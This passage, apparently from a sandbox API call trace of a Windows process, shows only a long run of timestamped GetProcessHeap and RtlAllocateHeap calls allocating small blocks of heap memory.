(HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fb78 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f0fe78 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fb88 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f11160 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fb98 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f0fe98 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fba8 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f11278 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fbb8 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x12) returned 0x2f0feb8 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fbc8 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f112c8 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fbd8 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f0fed8 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fbe8 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f11340 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fbf8 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3a) returned 0x2f0c898 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fc08 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11368 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fc18 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f0fef8 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fc28 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11390 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fc38 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x14) returned 0x2f0ff18 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fc48 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f0ff38 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fc58 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26) returned 0x2f10a00 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fc68 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a) returned 0x2f14c38 [0145.549] GetProcessHeap () returned 0x2ef0000 [0145.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f171c8 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26) returned 0x2f11a90 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f171d8 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26) returned 0x2f14a78 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f171e8 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x14) returned 0x2f0ff58 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f171f8 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f113b8 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17208 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26) returned 0x2f175c8 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17218 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f113e0 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17228 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f11408 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17238 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2e) returned 0x2f14c00 [0145.550] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17248 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22) returned 0x2f175f8 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17258 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22) returned 0x2f17628 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17268 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2e) returned 0x2f14bc8 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17278 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f0ff78 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17288 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26) returned 0x2f17658 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17298 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f0ff98 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f172a8 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0eee0 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f172b8 [0145.551] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11430 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f172c8 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14b90 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f172d8 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22) returned 0x2f17688 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f172e8 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a) returned 0x2f14b58 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f172f8 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11458 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17308 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee98 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17318 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a) returned 0x2f14ae8 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17328 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2e) returned 0x2f14df8 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17338 [0145.552] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f11480 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17348 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f0ffb8 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17358 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f0ffd8 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17368 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a) returned 0x2f14dc0 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17378 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x24) returned 0x2f176b8 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17388 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x32) returned 0x2f122c8 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17398 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26) returned 0x2f176e8 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f173a8 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28) returned 0x2f17718 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f173b8 [0145.553] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28) returned 0x2f17748 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f173c8 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f114a8 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f173d8 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f114d0 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f173e8 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f114f8 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f173f8 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x36) returned 0x2f12308 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17408 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f0fff8 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17418 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11520 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17428 [0145.554] GetProcessHeap () returned 0x2ef0000 [0145.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11548 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17438 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11570 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17448 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11598 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17458 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26) returned 0x2f17778 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17468 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14d88 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17478 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x24) returned 0x2f177a8 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17488 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f115c0 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17498 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14d50 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f174a8 [0145.555] GetProcessHeap () returned 0x2ef0000 [0145.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2e) returned 0x2f14d18 [0145.556] GetProcessHeap () returned 0x2ef0000 [0145.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f174b8 [0145.556] GetProcessHeap () returned 0x2ef0000 [0145.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x34) returned 0x2f12348 [0145.556] GetProcessHeap () returned 0x2ef0000 [0145.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f174c8 [0145.556] GetProcessHeap () returned 0x2ef0000 [0145.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f115e8 [0145.556] GetProcessHeap () returned 0x2ef0000 [0145.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f174d8 [0145.556] GetProcessHeap () returned 0x2ef0000 [0145.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f11610 [0145.556] GetProcessHeap () returned 0x2ef0000 [0145.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f174e8 [0145.556] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x14) returned 0x2f10018 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f174f8 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f10038 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17508 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f11638 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17518 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ed78 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17528 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11660 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17538 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f10058 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17548 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11688 [0145.557] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17558 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2e) returned 0x2f14ce0 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17568 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x32) returned 0x2f12388 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17578 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f116b0 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17588 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f116d8 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17598 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x14) returned 0x2f10078 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17dc8 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11700 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17dd8 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22) returned 0x2f177d8 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17de8 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee20 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17df8 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f10098 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e08 [0145.558] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11728 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e18 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f100b8 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e28 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f11750 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e38 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ed60 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e48 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f100d8 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e58 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e68 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f11778 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 